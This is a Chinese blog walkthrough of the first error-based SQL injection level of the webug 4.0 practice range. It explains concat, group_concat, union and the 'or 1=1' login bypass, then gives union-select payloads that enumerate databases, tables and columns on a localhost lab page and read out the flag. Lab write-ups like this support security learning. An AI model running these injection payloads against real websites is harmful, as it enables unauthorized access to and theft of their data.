webug4.0顯錯註入-1
阿新 • • 發佈:2019-03-14
password adf null 萬能密碼 1=1 str2 tables 內容 順序
所用到一些知識:
1. concat(str1,str2,...) 返回結果為參數間無間隔符連接起來的字符串,如果其中有一個參數為NULL,返回結果為NULL
2. concat_ws(separator, str1, str2, ...) 含有分隔符地連接字符串,第一個參數為制定的分隔符
3. group_concat(str1,str2,...) 連接一個組的所有字符串,並以逗號分隔每一條數據
4.union 用於合並兩個或多個select語句的結果集,需要註意的是union內部的select須擁有相同數量的列,且列的數據類型也要相同。
5.邏輯順序 true and false or true 結果為true 這樣可以構造萬能密碼
Select * from admin where username=’admin’ and password=’’or 1=1#’
6. 註釋掉後面內容時可用 --+ 或者 # 後者在瀏覽器中會進行url編碼為%23
7.註入的一般流程為:輸入點-->數據庫-->數據表-->數據列-->數據項
好了進入正題,加單引號看看
http://localhost/control/sqlinject/manifest_error.php?id=1‘
然後報錯了
構造語句 ‘ or 1=1%23
http://localhost/control/sqlinject/manifest_error.php?id=1‘ or 1=1%23
然後頁面恢復正常,利用order by判斷字段個數
http://localhost/control/sqlinject/manifest_error.php?id=1‘ order by 1%23
從1開始嘗試,發現到3時頁面報錯,因此判斷字段個數為2個,接下來查看數據庫的名字
http://localhost/control/sqlinject/manifest_error.php?id=1‘ union select 1,group_concat(schema_name) from information_schema.schemata%23
然後頁面顯示出來了數據庫
我們查看webug這個數據庫
http://localhost/control/sqlinject/manifest_error.php?id=1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘webug‘ %23
發現有flag這個表(是的表面上是,等到第二關你會哭泣的),那就看看這個表裏東西
http://localhost/control/sqlinject/manifest_error.php?id=1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag‘ %23
發現表裏就2個: id flag 查看一下flag內容
http://localhost/control/sqlinject/manifest_error.php?id=1‘ union select 1,flag from flag %23
出來了:dfafdasfafdsadfa
打開靶場提交flag,顯示flag正確
webug4.0顯錯註入-1